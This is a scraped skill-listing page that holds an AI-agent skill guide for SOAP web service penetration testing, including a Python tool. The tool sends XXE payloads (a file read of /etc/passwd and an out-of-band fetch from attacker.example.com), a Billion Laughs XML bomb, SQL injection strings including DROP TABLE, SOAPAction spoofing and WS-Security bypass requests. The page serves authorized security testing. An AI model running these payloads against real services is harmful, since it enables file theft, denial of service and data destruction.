[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M73EYRBYM0B371AFKCD0G7FP":3,"skill-same:01M73EYRBYM0B371AFKCD0G7FP":93},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":53,"commitSha":54,"skillDirectory":55,"forksCount":56,"repositoryHtmlUrl":57,"repositoryHomepageUrl":58,"ownerHtmlUrl":59,"ownerBlogUrl":60,"ownerDescription":61,"updatedAt":62,"install":63,"resources":76},"01M73EYRBYM0B371AFKCD0G7FP","performing-soap-web-service-security-testing",null,"Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fperforming-soap-web-service-security-testing\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: performing-soap-web-service-security-testing\ndescription: Perform security testing of SOAP web services by analyzing WSDL definitions\n  and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- soap\n- web-services\n- wsdl\n- xml-injection\n- xxe\n- ws-security\n- penetration-testing\n- soapaction-spoofing\n- xpath-injection\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1055\n- T1059\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Performing SOAP Web Service Security Testing\n\n## Overview\n\nSOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing soap web service security testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target SOAP web service endpoint URL\n- WSDL file or URL access for the service\n- SoapUI or ReadyAPI for structured testing\n- Burp Suite with SOAP extensions for interception\n- Python 3.8+ with zeep and lxml libraries\n- Authorization to perform security testing\n\n## Testing Methodology\n\n### Phase 1: WSDL Reconnaissance\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"SOAP Web Service Security Testing Tool\n\nAnalyzes WSDL definitions and tests SOAP endpoints for\ncommon vulnerabilities including XXE, injection, and\nWS-Security misconfigurations.\n\"\"\"\n\nimport requests\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport sys\nimport re\nfrom typing import List, Dict, Optional\nfrom dataclasses import dataclass\n\n@dataclass\nclass SOAPOperation:\n    name: str\n    action: str\n    input_message: str\n    output_message: str\n    parameters: List[Dict]\n\nclass SOAPSecurityTester:\n    NAMESPACES = {\n        'wsdl': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002F',\n        'soap': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap\u002F',\n        'soap12': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap12\u002F',\n        'xsd': 'http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema',\n        'wsse': 'http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd',\n    }\n\n    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):\n        self.wsdl_url = wsdl_url\n        self.endpoint_url = endpoint_url\n        self.operations: List[SOAPOperation] = []\n        self.findings: List[dict] = []\n\n    def parse_wsdl(self) -> List[SOAPOperation]:\n        \"\"\"Parse WSDL to extract available operations and parameters.\"\"\"\n        response = requests.get(self.wsdl_url, timeout=30)\n        root = etree.fromstring(response.content)\n\n        # Extract endpoint URL if not provided\n        if not self.endpoint_url:\n            address = root.find('.\u002F\u002Fsoap:address', self.NAMESPACES)\n            if address is not None:\n                self.endpoint_url = address.get('location')\n\n        # Extract operations\n        for binding_op in root.findall('.\u002F\u002Fwsdl:binding\u002Fwsdl:operation', self.NAMESPACES):\n            name = binding_op.get('name')\n            soap_op = binding_op.find('soap:operation', self.NAMESPACES)\n            action = soap_op.get('soapAction', '') if soap_op is not None else ''\n\n            operation = SOAPOperation(\n                name=name,\n                action=action,\n                input_message=\"\",\n                output_message=\"\",\n                parameters=[]\n            )\n            self.operations.append(operation)\n\n        print(f\"[+] Found {len(self.operations)} SOAP operations\")\n        for op in self.operations:\n            print(f\"    - {op.name} (SOAPAction: {op.action})\")\n\n        return self.operations\n\n    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test for XML External Entity (XXE) injection.\"\"\"\n        xxe_payloads = [\n            # Classic XXE - File read\n            {\n                \"name\": \"Classic XXE (file read)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&xxe;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # Blind XXE - Out-of-band\n            {\n                \"name\": \"Blind XXE (OOB)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker.example.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>test\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # XML Bomb (Billion Laughs)\n            {\n                \"name\": \"XML Bomb (Billion Laughs)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&lol4;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            }\n        ]\n\n        results = []\n        for xxe in xxe_payloads:\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=xxe[\"payload\"],\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=10\n                )\n\n                vulnerable = False\n                indicators = []\n\n                if \"root:\" in response.text or \"\u002Fbin\u002F\" in response.text:\n                    vulnerable = True\n                    indicators.append(\"File contents in response\")\n\n                if response.status_code == 200 and \"Fault\" not in response.text:\n                    indicators.append(\"No XML parsing error returned\")\n\n                if response.elapsed.total_seconds() > 5:\n                    indicators.append(\"Slow response (possible XML bomb)\")\n                    vulnerable = True\n\n                result = {\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": vulnerable,\n                    \"status_code\": response.status_code,\n                    \"response_time\": response.elapsed.total_seconds(),\n                    \"indicators\": indicators\n                }\n                results.append(result)\n\n                if vulnerable:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"XXE\",\n                        \"operation\": operation.name,\n                        \"details\": xxe[\"name\"]\n                    })\n\n            except requests.exceptions.Timeout:\n                results.append({\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": True,\n                    \"indicators\": [\"Request timed out - possible DoS via XML bomb\"]\n                })\n\n        return {\"operation\": operation.name, \"xxe_results\": results}\n\n    def test_sql_injection(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test SOAP parameters for SQL injection.\"\"\"\n        sqli_payloads = [\n            \"' OR '1'='1\",\n            \"1; DROP TABLE users--\",\n            \"1' UNION SELECT NULL,NULL,NULL--\",\n            \"' OR 1=1; WAITFOR DELAY '0:0:5'--\",\n            \"admin'\u002F*\",\n        ]\n\n        results = []\n        for payload in sqli_payloads:\n            soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>{payload}\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=soap_body,\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=15\n                )\n\n                sql_errors = [\n                    \"SQL syntax\", \"ORA-\", \"mysql_\", \"SQLSTATE\",\n                    \"Microsoft OLE DB\", \"Unclosed quotation mark\",\n                    \"syntax error\", \"PostgreSQL\"\n                ]\n                error_found = any(err in response.text for err in sql_errors)\n\n                if error_found:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"SQL Injection\",\n                        \"operation\": operation.name,\n                        \"details\": f\"SQL error triggered with: {payload[:30]}...\"\n                    })\n\n                results.append({\n                    \"payload\": payload,\n                    \"status_code\": response.status_code,\n                    \"sql_error_detected\": error_found,\n                    \"response_time\": response.elapsed.total_seconds()\n                })\n\n            except requests.exceptions.RequestException:\n                continue\n\n        return {\"operation\": operation.name, \"sqli_results\": results}\n\n    def test_soapaction_spoofing(self) -> dict:\n        \"\"\"Test for SOAPAction header spoofing vulnerability.\"\"\"\n        results = []\n\n        for i, operation in enumerate(self.operations):\n            for j, other_op in enumerate(self.operations):\n                if i == j:\n                    continue\n\n                # Send request with mismatched SOAPAction\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>test\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\n                            \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                            \"SOAPAction\": other_op.action,  # Wrong action\n                        },\n                        timeout=10\n                    )\n\n                    if response.status_code == 200 and \"Fault\" not in response.text:\n                        self.findings.append({\n                            \"severity\": \"HIGH\",\n                            \"type\": \"SOAPAction Spoofing\",\n                            \"operation\": operation.name,\n                            \"details\": f\"Accepted with SOAPAction of {other_op.name}\"\n                        })\n                        results.append({\n                            \"body_operation\": operation.name,\n                            \"spoofed_action\": other_op.action,\n                            \"accepted\": True\n                        })\n\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"spoofing_results\": results}\n\n    def test_ws_security_bypass(self) -> dict:\n        \"\"\"Test WS-Security token handling.\"\"\"\n        test_cases = [\n            {\n                \"name\": \"Missing WS-Security header\",\n                \"header\": \"\"\n            },\n            {\n                \"name\": \"Empty security token\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\">\n    \u003Cwsse:UsernameToken>\n      \u003Cwsse:Username>\u003C\u002Fwsse:Username>\n      \u003Cwsse:Password>\u003C\u002Fwsse:Password>\n    \u003C\u002Fwsse:UsernameToken>\n  \u003C\u002Fwsse:Security>'''\n            },\n            {\n                \"name\": \"Expired timestamp\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\"\n    xmlns:wsu=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-utility-1.0.xsd\">\n    \u003Cwsu:Timestamp>\n      \u003Cwsu:Created>2020-01-01T00:00:00Z\u003C\u002Fwsu:Created>\n      \u003Cwsu:Expires>2020-01-01T00:05:00Z\u003C\u002Fwsu:Expires>\n    \u003C\u002Fwsu:Timestamp>\n  \u003C\u002Fwsse:Security>'''\n            }\n        ]\n\n        results = []\n        for test in test_cases:\n            if self.operations:\n                operation = self.operations[0]\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Header>\n    {test[\"header\"]}\n  \u003C\u002Fsoapenv:Header>\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\u003Cparam>test\u003C\u002Fparam>\u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\"Content-Type\": \"text\u002Fxml; charset=utf-8\"},\n                        timeout=10\n                    )\n\n                    accepted = response.status_code == 200 and \"Fault\" not in response.text\n                    if accepted:\n                        self.findings.append({\n                            \"severity\": \"CRITICAL\",\n                            \"type\": \"WS-Security Bypass\",\n                            \"operation\": operation.name,\n                            \"details\": test[\"name\"]\n                        })\n\n                    results.append({\n                        \"test\": test[\"name\"],\n                        \"accepted\": accepted,\n                        \"status_code\": response.status_code\n                    })\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"ws_security_results\": results}\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate comprehensive security assessment report.\"\"\"\n        return {\n            \"target\": self.endpoint_url,\n            \"wsdl\": self.wsdl_url,\n            \"operations_tested\": len(self.operations),\n            \"total_findings\": len(self.findings),\n            \"critical\": len([f for f in self.findings if f[\"severity\"] == \"CRITICAL\"]),\n            \"high\": len([f for f in self.findings if f[\"severity\"] == \"HIGH\"]),\n            \"findings\": self.findings\n        }\n\n\ndef main():\n    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:8080\u002Fws?wsdl\"\n    tester = SOAPSecurityTester(wsdl_url)\n\n    print(f\"[*] Parsing WSDL: {wsdl_url}\")\n    operations = tester.parse_wsdl()\n\n    for op in operations:\n        print(f\"\\n[*] Testing operation: {op.name}\")\n        tester.test_xxe_vulnerability(op)\n        tester.test_sql_injection(op)\n\n    tester.test_soapaction_spoofing()\n    tester.test_ws_security_bypass()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*60}\")\n    print(f\"SOAP Security Assessment Report\")\n    print(f\"{'='*60}\")\n    print(f\"Target: {report['target']}\")\n    print(f\"Operations Tested: {report['operations_tested']}\")\n    print(f\"Findings: {report['total_findings']} \"\n          f\"(Critical: {report['critical']}, High: {report['high']})\")\n\n    for finding in report['findings']:\n        print(f\"\\n  [{finding['severity']}] {finding['type']}\")\n        print(f\"  Operation: {finding['operation']}\")\n        print(f\"  Details: {finding['details']}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- SecureLayer7 OWASP SOAP Pentesting: https:\u002F\u002Fblog.securelayer7.net\u002Fowasp-top-10-pentesting-mitigating-soap-service-risks\u002F\n- BrightSec SOAP Vulnerabilities: https:\u002F\u002Fbrightsec.com\u002Fblog\u002Ftop-7-soap-api-vulnerabilities\u002F\n- Levo.ai SOAP API Security Testing Guide: https:\u002F\u002Fwww.levo.ai\u002Fresources\u002Fblogs\u002Fsoap-api-security-testing\n- SoapUI Web Service Hacking: https:\u002F\u002Fwww.soapui.org\u002Fdocs\u002Fsoap-and-wsdl\u002Ftips-and-tricks\u002Fweb-service-hacking\u002F\n- PortSwigger XXE Tutorial: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\n","# Performing SOAP Web Service Security Testing\n\n## Overview\n\nSOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing soap web service security testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target SOAP web service endpoint URL\n- WSDL file or URL access for the service\n- SoapUI or ReadyAPI for structured testing\n- Burp Suite with SOAP extensions for interception\n- Python 3.8+ with zeep and lxml libraries\n- Authorization to perform security testing\n\n## Testing Methodology\n\n### Phase 1: WSDL Reconnaissance\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"SOAP Web Service Security Testing Tool\n\nAnalyzes WSDL definitions and tests SOAP endpoints for\ncommon vulnerabilities including XXE, injection, and\nWS-Security misconfigurations.\n\"\"\"\n\nimport requests\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport sys\nimport re\nfrom typing import List, Dict, Optional\nfrom dataclasses import dataclass\n\n@dataclass\nclass SOAPOperation:\n    name: str\n    action: str\n    input_message: str\n    output_message: str\n    parameters: List[Dict]\n\nclass SOAPSecurityTester:\n    NAMESPACES = {\n        'wsdl': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002F',\n        'soap': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap\u002F',\n        'soap12': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap12\u002F',\n        'xsd': 'http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema',\n        'wsse': 'http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd',\n    }\n\n    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):\n        self.wsdl_url = wsdl_url\n        self.endpoint_url = endpoint_url\n        self.operations: List[SOAPOperation] = []\n        self.findings: List[dict] = []\n\n    def parse_wsdl(self) -> List[SOAPOperation]:\n        \"\"\"Parse WSDL to extract available operations and parameters.\"\"\"\n        response = requests.get(self.wsdl_url, timeout=30)\n        root = etree.fromstring(response.content)\n\n        # Extract endpoint URL if not provided\n        if not self.endpoint_url:\n            address = root.find('.\u002F\u002Fsoap:address', self.NAMESPACES)\n            if address is not None:\n                self.endpoint_url = address.get('location')\n\n        # Extract operations\n        for binding_op in root.findall('.\u002F\u002Fwsdl:binding\u002Fwsdl:operation', self.NAMESPACES):\n            name = binding_op.get('name')\n            soap_op = binding_op.find('soap:operation', self.NAMESPACES)\n            action = soap_op.get('soapAction', '') if soap_op is not None else ''\n\n            operation = SOAPOperation(\n                name=name,\n                action=action,\n                input_message=\"\",\n                output_message=\"\",\n                parameters=[]\n            )\n            self.operations.append(operation)\n\n        print(f\"[+] Found {len(self.operations)} SOAP operations\")\n        for op in self.operations:\n            print(f\"    - {op.name} (SOAPAction: {op.action})\")\n\n        return self.operations\n\n    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test for XML External Entity (XXE) injection.\"\"\"\n        xxe_payloads = [\n            # Classic XXE - File read\n            {\n                \"name\": \"Classic XXE (file read)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&xxe;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # Blind XXE - Out-of-band\n            {\n                \"name\": \"Blind XXE (OOB)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker.example.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>test\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # XML Bomb (Billion Laughs)\n            {\n                \"name\": \"XML Bomb (Billion Laughs)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&lol4;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            }\n        ]\n\n        results = []\n        for xxe in xxe_payloads:\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=xxe[\"payload\"],\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=10\n                )\n\n                vulnerable = False\n                indicators = []\n\n                if \"root:\" in response.text or \"\u002Fbin\u002F\" in response.text:\n                    vulnerable = True\n                    indicators.append(\"File contents in response\")\n\n                if response.status_code == 200 and \"Fault\" not in response.text:\n                    indicators.append(\"No XML parsing error returned\")\n\n                if response.elapsed.total_seconds() > 5:\n                    indicators.append(\"Slow response (possible XML bomb)\")\n                    vulnerable = True\n\n                result = {\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": vulnerable,\n                    \"status_code\": response.status_code,\n                    \"response_time\": response.elapsed.total_seconds(),\n                    \"indicators\": indicators\n                }\n                results.append(result)\n\n                if vulnerable:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"XXE\",\n                        \"operation\": operation.name,\n                        \"details\": xxe[\"name\"]\n                    })\n\n            except requests.exceptions.Timeout:\n                results.append({\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": True,\n                    \"indicators\": [\"Request timed out - possible DoS via XML bomb\"]\n                })\n\n        return {\"operation\": operation.name, \"xxe_results\": results}\n\n    def test_sql_injection(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test SOAP parameters for SQL injection.\"\"\"\n        sqli_payloads = [\n            \"' OR '1'='1\",\n            \"1; DROP TABLE users--\",\n            \"1' UNION SELECT NULL,NULL,NULL--\",\n            \"' OR 1=1; WAITFOR DELAY '0:0:5'--\",\n            \"admin'\u002F*\",\n        ]\n\n        results = []\n        for payload in sqli_payloads:\n            soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>{payload}\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=soap_body,\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=15\n                )\n\n                sql_errors = [\n                    \"SQL syntax\", \"ORA-\", \"mysql_\", \"SQLSTATE\",\n                    \"Microsoft OLE DB\", \"Unclosed quotation mark\",\n                    \"syntax error\", \"PostgreSQL\"\n                ]\n                error_found = any(err in response.text for err in sql_errors)\n\n                if error_found:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"SQL Injection\",\n                        \"operation\": operation.name,\n                        \"details\": f\"SQL error triggered with: {payload[:30]}...\"\n                    })\n\n                results.append({\n                    \"payload\": payload,\n                    \"status_code\": response.status_code,\n                    \"sql_error_detected\": error_found,\n                    \"response_time\": response.elapsed.total_seconds()\n                })\n\n            except requests.exceptions.RequestException:\n                continue\n\n        return {\"operation\": operation.name, \"sqli_results\": results}\n\n    def test_soapaction_spoofing(self) -> dict:\n        \"\"\"Test for SOAPAction header spoofing vulnerability.\"\"\"\n        results = []\n\n        for i, operation in enumerate(self.operations):\n            for j, other_op in enumerate(self.operations):\n                if i == j:\n                    continue\n\n                # Send request with mismatched SOAPAction\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>test\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\n                            \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                            \"SOAPAction\": other_op.action,  # Wrong action\n                        },\n                        timeout=10\n                    )\n\n                    if response.status_code == 200 and \"Fault\" not in response.text:\n                        self.findings.append({\n                            \"severity\": \"HIGH\",\n                            \"type\": \"SOAPAction Spoofing\",\n                            \"operation\": operation.name,\n                            \"details\": f\"Accepted with SOAPAction of {other_op.name}\"\n                        })\n                        results.append({\n                            \"body_operation\": operation.name,\n                            \"spoofed_action\": other_op.action,\n                            \"accepted\": True\n                        })\n\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"spoofing_results\": results}\n\n    def test_ws_security_bypass(self) -> dict:\n        \"\"\"Test WS-Security token handling.\"\"\"\n        test_cases = [\n            {\n                \"name\": \"Missing WS-Security header\",\n                \"header\": \"\"\n            },\n            {\n                \"name\": \"Empty security token\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\">\n    \u003Cwsse:UsernameToken>\n      \u003Cwsse:Username>\u003C\u002Fwsse:Username>\n      \u003Cwsse:Password>\u003C\u002Fwsse:Password>\n    \u003C\u002Fwsse:UsernameToken>\n  \u003C\u002Fwsse:Security>'''\n            },\n            {\n                \"name\": \"Expired timestamp\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\"\n    xmlns:wsu=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-utility-1.0.xsd\">\n    